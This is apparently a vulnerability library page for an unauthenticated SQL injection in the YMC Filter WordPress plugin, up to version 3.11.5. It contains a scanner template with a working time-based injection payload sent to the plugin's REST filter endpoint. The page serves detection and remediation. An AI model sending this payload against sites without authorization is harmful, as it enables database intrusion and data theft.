/Vulnerability Library

YMC Filter - SQL Injection

CVE-2026-54836
Early Release

Description

YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.

Severity

Critical

CVSS Score

9.3

Exploit Probability

0%

Published Date

July 20, 2026

Template Author

theamanrawat

CVE-2026-54836.yaml
id: CVE-2026-54836

info:
  name: YMC Filter - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    YMC Filter <= 3.11.5 contains an sql injection caused by improper neutralization of special elements in SQL commands, letting attackers execute arbitrary SQL queries, exploit requires crafted input.
  impact: |
    Attackers can execute arbitrary SQL commands, potentially leading to data disclosure, modification, or deletion.
  remediation: |
    Update to the latest version beyond 3.11.5.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-54836
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
    cvss-score: 9.3
    cve-id: CVE-2026-54836
    epss-score: 0.00229
    epss-percentile: 0.13809
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2026,wordpress,wp-plugin,sqli,ymc-smart-filter,unauth

http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-json/ymc/v1/posts/filter HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"params":{"filter_id":{{fid}},"search":"xyznotexist999') OR (SELECT 1 FROM (SELECT SLEEP(7))x)))-- -","post_types":["post"],"paged":1}}

    payloads:
      fid:
        - "1"
        - "2"
        - "3"
        - "10"
        - "50"
        - "100"
        - "150"
        - "152"
        - "200"
        - "250"
        - "300"
        - "500"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200'
          - 'contains(body, "\"success\":true")'
        condition: and
# digest: 4a0a00473045022100971e6329fdf2258094f37f46a575fdb5fef32bffd4bcd1260a4dd9711649784802206ed7810ebdcab9a63eed7c1cd822711edb680cc1c160616453b3f7473b1f4df9:922c64590222798bb761d5b6d8e72950
9.3Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
CVE ID:
cve-2026-54836
CWE ID:
cwe-89

References

https://nvd.nist.gov/vuln/detail/CVE-2026-54836

Remediation Steps

Update to the latest version beyond 3.11.5.